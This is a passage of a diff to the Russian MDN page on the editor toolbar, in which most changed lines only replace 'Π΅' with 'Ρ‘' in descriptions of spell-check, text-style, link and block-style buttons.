- <dd>Если SCAYT Π²ΠΊΠ»ΡŽΡ‡Π΅Π½, этот ΠΏΡƒΠ½ΠΊΡ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎΒ SCAYT Π²ΠΎ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ с опциями для настройки SCAYT.</dd>
+ <dd>Если SCAYT Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½, этот ΠΏΡƒΠ½ΠΊΡ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎΒ SCAYT Π²ΠΎ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ с опциями для настройки SCAYT.</dd>
<dt>Languages</dt>
- <dd>Если SCAYT Π²ΠΊΠ»ΡŽΡ‡Π΅Π½, этот ΠΏΡƒΠ½ΠΊΡ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎΒ SCAYT Π²ΠΎ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ "Languages",Β Π³Π΄Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ язык для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ правописания.</dd>
+ <dd>Если SCAYT Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½, этот ΠΏΡƒΠ½ΠΊΡ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎΒ SCAYT Π²ΠΎ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ "Languages",Β Π³Π΄Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ язык для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ правописания.</dd>
<dt>Dictionaries</dt>
- <dd>Если SCAYT Π²ΠΊΠ»ΡŽΡ‡Π΅Π½, этот ΠΏΡƒΠ½ΠΊΡ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎΒ SCAYT Π²ΠΎ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ "Dictionaries", Π³Π΄Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ сами Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΡΠ»ΠΎΠ²Π°Ρ€ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ SCAYT Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</dd>
+ <dd>Если SCAYT Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½, этот ΠΏΡƒΠ½ΠΊΡ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎΒ SCAYT Π²ΠΎ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ "Dictionaries", Π³Π΄Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ сами Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΡΠ»ΠΎΠ²Π°Ρ€ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ SCAYT Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</dd>
<dt>About SCAYT</dt>
- <dd>Если SCAYT Π²ΠΊΠ»ΡŽΡ‡Π΅Π½, этот ΠΏΡƒΠ½ΠΊΡ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎΒ SCAYT Π²ΠΎ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ "About", Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ написано ΠΎ SCAYT.</dd>
+ <dd>Если SCAYT Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½, этот ΠΏΡƒΠ½ΠΊΡ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎΒ SCAYT Π²ΠΎ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ "About", Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ написано ΠΎ SCAYT.</dd>
<dt>Check Spelling</dt>
<dd>Π­Ρ‚ΠΎΡ‚ ΠΏΡƒΠ½ΠΊΡ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ Spell Checker, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ правописаниС Π² ΠΏΠ°ΠΊΠ΅Ρ‚Π½ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅Β (batch mode) для всСго Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π²ΠΊΠ»Π°Π΄ΠΊΠΎΠΉΒ Grammar для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π³Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΡ‡Π΅ΡΠΊΠΈΡ…Β ΠΎΡˆΠΈΠ±ΠΎΠΊ, ΠΈΠ»ΠΈ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π²ΠΊΠ»Π°Π΄ΠΊΠΎΠΉΒ Thesaurus для поиска синонимов для слов Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅.</dd>
</dl>
@@ -112,25 +112,25 @@ original_slug: MDN/Editor/Basics/Toolbar
<h2 id="Π‘Ρ‚Ρ€ΠΎΠΊΠΎΠ²Ρ‹Π΅_стили">Π‘Ρ‚Ρ€ΠΎΠΊΠΎΠ²Ρ‹Π΅ стили</h2>
-<p>Π‘Ρ‚Ρ€ΠΎΠΊΠΎΠ²Ρ‹Π΅ стили содСрТат распространСнныС стили, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ ΠΏΡ€ΠΈΠ³ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ ΠΏΡ€ΠΈ ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΠΈ тСкста.</p>
+<p>Π‘Ρ‚Ρ€ΠΎΠΊΠΎΠ²Ρ‹Π΅ стили содСрТат распространённыС стили, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ ΠΏΡ€ΠΈΠ³ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ ΠΏΡ€ΠΈ ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΠΈ тСкста.</p>
<dl>
<dt>Bold</dt>
<dd>ΠŸΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ <strong>ΠΆΠΈΡ€Π½Ρ‹ΠΉ</strong> ΡΡ‚ΠΈΠ»ΡŒ тСкста, создавая ΠΏΡ€ΠΈ этом Π² размСткС элСмСнт {{htmlelement("strong")}}.</dd>
<dt>Italic</dt>
- <dd>ΠŸΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ <em>курсив</em>. Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ {{htmlelement("em")}} элСмСнт.</dd>
+ <dd>ΠŸΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ <em>курсив</em>. Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ {{htmlelement("em")}} элСмСнт.</dd>
<dt>Underline</dt>
- <dd>ΠŸΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ <u>Π½ΠΈΠΆΠ½Π΅Π΅ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅</u>. Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ {{htmlelement("u")}} элСмСнт.</dd>
+ <dd>ΠŸΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ <u>Π½ΠΈΠΆΠ½Π΅Π΅ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅</u>. Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ {{htmlelement("u")}} элСмСнт.</dd>
<dt>Strike through</dt>
- <dd>ΠŸΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ <s>ΠΏΠ΅Ρ€Π΅Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅</s>. Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ {{htmlelement("s")}} элСмСнт.</dd>
+ <dd>ΠŸΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ <s>ΠΏΠ΅Ρ€Π΅Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅</s>. Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ {{htmlelement("s")}} элСмСнт.</dd>
<dt>Subscript</dt>
- <dd>ΠŸΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ <sub>Π½ΠΈΠΆΠ½ΠΈΠΉ индСкс</sub>. Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ {{htmlelement("sub")}} элСмСнт.</dd>
+ <dd>ΠŸΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ <sub>Π½ΠΈΠΆΠ½ΠΈΠΉ индСкс</sub>. Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ {{htmlelement("sub")}} элСмСнт.</dd>
<dt>Superscript</dt>
- <dd>ΠŸΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ <sup>Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ индСкс</sup>. Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ {{htmlelement("sup")}} элСмСнт. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠΉ строковый ΡΡ‚ΠΈΠ»ΡŒΒ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π½Π° MDN, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ вряд Π»ΠΈ ΠΊΠΎΠ³Π΄Π°-Π½ΠΈΠ±ΡƒΠ΄ΡŒ пригодится эта ΠΊΠ½ΠΎΠΏΠΊΠ°.</dd>
+ <dd>ΠŸΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ <sup>Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ индСкс</sup>. Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ {{htmlelement("sup")}} элСмСнт. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠΉ строковый ΡΡ‚ΠΈΠ»ΡŒΒ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π½Π° MDN, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ вряд Π»ΠΈ ΠΊΠΎΠ³Π΄Π°-Π½ΠΈΠ±ΡƒΠ΄ΡŒ пригодится эта ΠΊΠ½ΠΎΠΏΠΊΠ°.</dd>
<dt>Remove format</dt>
<dd>УдаляСт Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ строковый ΡΡ‚ΠΈΠ»ΡŒ Π² Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ тСкстС.</dd>
<dt>Code</dt>
- <dd>ΠŸΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΡΡ‚ΠΈΠ»ΡŒ для <code>ΠΊΠΎΠ΄Π°</code>. Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ {{htmlelement("code")}} элСмСнт. Π­Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для прСдставлСния Π² тСкстС ΠΈΠΌΠ΅Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ Ρ‚.ΠΏ.</dd>
+ <dd>ΠŸΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΡΡ‚ΠΈΠ»ΡŒ для <code>ΠΊΠΎΠ΄Π°</code>. Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ {{htmlelement("code")}} элСмСнт. Π­Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для прСдставлСния Π² тСкстС ΠΈΠΌΡ‘Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ Ρ‚.ΠΏ.</dd>
</dl>
<h2 id="Π Π°Π±ΠΎΡ‚Π°_со_ссылками">Π Π°Π±ΠΎΡ‚Π° со ссылками</h2>
@@ -139,11 +139,11 @@ original_slug: MDN/Editor/Basics/Toolbar
<dl>
<dt>Link</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²ΡƒΡŽ ссылку. ΠŸΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ вызываСтся ΠΎΠΊΠ½ΠΎ создания ссылки, Ρ€Π°Π±ΠΎΡ‚Π° с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π° описана Π² <a href="/ru/docs/MDN/Contribute/Editor/Links#Using_the_toolbar">Бсылки с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов</a>.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²ΡƒΡŽ ссылку. ΠŸΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ вызываСтся ΠΎΠΊΠ½ΠΎ создания ссылки, Ρ€Π°Π±ΠΎΡ‚Π° с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π° описана Π² <a href="/ru/docs/MDN/Contribute/Editor/Links#Using_the_toolbar">Бсылки с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов</a>.</dd>
<dt>Unlink</dt>
<dd>УдаляСт ссылку Π² мСстС, Π³Π΄Π΅ располоТСн курсор.</dd>
<dt>Anchor</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΡΠΊΠΎΡ€ΡŒ Π² мСстС, Π³Π΄Π΅ располоТСн курсор. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΡΠΊΠΎΡ€ΡŒΒ Π΄Π»Ρ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ автоматичСски создаСт <code>{{htmlattrxref("id")}}</code> для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°, замСняя ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ Π² Π½Π°Π·Π²Π°Π½ΠΈΠΈ Π½Π° Π½ΠΈΠΆΠ½ΠΈΠ΅ подчСркивания. НапримСр, Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ этой сСкции ΠΈΠΌΠ΅Π΅Ρ‚Β <code>id</code>, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎΒ <code>Π Π°Π±ΠΎΡ‚Π°_со_ссылками</code>.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΡΠΊΠΎΡ€ΡŒ Π² мСстС, Π³Π΄Π΅ располоТСн курсор. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΡΠΊΠΎΡ€ΡŒΒ Π΄Π»Ρ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ автоматичСски создаёт <code>{{htmlattrxref("id")}}</code> для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°, замСняя ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ Π² Π½Π°Π·Π²Π°Π½ΠΈΠΈ Π½Π° Π½ΠΈΠΆΠ½ΠΈΠ΅ подчёркивания. НапримСр, Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ этой сСкции ΠΈΠΌΠ΅Π΅Ρ‚Β <code>id</code>, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎΒ <code>Π Π°Π±ΠΎΡ‚Π°_со_ссылками</code>.</dd>
<dt>Create a redirect</dt>
<dd>ВстраиваСт ΠΏΠ΅Ρ€Π΅Π°Π΄Ρ€Π΅ΡΠ°Ρ†ΠΈΡŽ Π½Π° Π΄Ρ€ΡƒΠ³ΡƒΡŽ страницу. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ <a href="/ru/docs/MDN/Contribute/Editor/Redirects#Creating_redirects">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ пСрСадрСсаций</a> для ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</dd>
</dl>
@@ -158,7 +158,7 @@ original_slug: MDN/Editor/Basics/Toolbar
<dt>None</dt>
<dd>УдаляСт ΡΡ‚ΠΈΠ»ΡŒ с Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ°.</dd>
<dt>Note box</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π±Π»ΠΎΠΊ с ΠΏΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ всСгда Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ со слова <strong>"ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:"</strong> ΠΆΠΈΡ€Π½Ρ‹ΠΌΠΈ Π±ΡƒΠΊΠ²Π°ΠΌΠΈ.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π±Π»ΠΎΠΊ с ΠΏΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ всСгда Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ со слова <strong>"ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:"</strong> ΠΆΠΈΡ€Π½Ρ‹ΠΌΠΈ Π±ΡƒΠΊΠ²Π°ΠΌΠΈ.</dd>
</dl>
<div class="note">
@@ -167,7 +167,7 @@ original_slug: MDN/Editor/Basics/Toolbar
<dl>
<dt>Warning box</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π±Π»ΠΎΠΊ с ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅ΠΌ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅. Π‘Π»ΠΎΠΊ Π΄ΠΎΠ»ΠΆΠ΅Π½ всСгда Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ со слова <strong>"Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:"</strong> ΠΆΠΈΡ€Π½Ρ‹ΠΌΠΈ Π±ΡƒΠΊΠ²Π°ΠΌΠΈ.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π±Π»ΠΎΠΊ с ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅ΠΌ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅. Π‘Π»ΠΎΠΊ Π΄ΠΎΠ»ΠΆΠ΅Π½ всСгда Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ со слова <strong>"Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:"</strong> ΠΆΠΈΡ€Π½Ρ‹ΠΌΠΈ Π±ΡƒΠΊΠ²Π°ΠΌΠΈ.</dd>
</dl>
<div class="warning">
@@ -178,14 +178,14 @@ original_slug: MDN/Editor/Basics/Toolbar
<dt>Two columns</dt>
<dd>Π”Π΅Π»Π°Π΅Ρ‚ Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ тСкст ΠΈΠ»ΠΈΒ Π±Π»ΠΎΠΊ Π΄Π²ΡƒΡ…ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹ΠΌ Π½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ это ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚.</dd>
<dt>Three columns</dt>
- <dd>Π”Π΅Π»Π°Π΅Ρ‚ Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ тСкст ΠΈΠ»ΠΈ Π±Π»ΠΎΠΊ Ρ‚Ρ€Π΅Ρ…ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹ΠΌ Π½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ это ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚.</dd>
+ <dd>Π”Π΅Π»Π°Π΅Ρ‚ Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ тСкст ΠΈΠ»ΠΈ Π±Π»ΠΎΠΊ Ρ‚Ρ€Ρ‘Ρ…ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹ΠΌ Π½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ это ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚.</dd>
<dt>Syntax box</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΏΠΎΠ»Π΅ для синтаксиса, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅. Π­Ρ‚ΠΎ создаСт {{htmlelement("pre")}}.Β Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ½ΠΎΠΏΠΊΡƒ "PRE".</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΏΠΎΠ»Π΅ для синтаксиса, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅. Π­Ρ‚ΠΎ создаёт {{htmlelement("pre")}}.Β Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ½ΠΎΠΏΠΊΡƒ "PRE".</dd>
<dt>
<pre class="syntaxbox notranslate">Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅ для синтаксиса</pre>
</dt>
<dt>Hidden when reading</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π±Π»ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΈΠ΄Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ рСдактирования. Π­Ρ‚ΠΎ Π½Π΅ Ρ‚ΠΎ ΠΆΠ΅, Ρ‡Ρ‚ΠΎ ΠΈ HTML-ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΈΠ΄Π΅Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ.</dd>
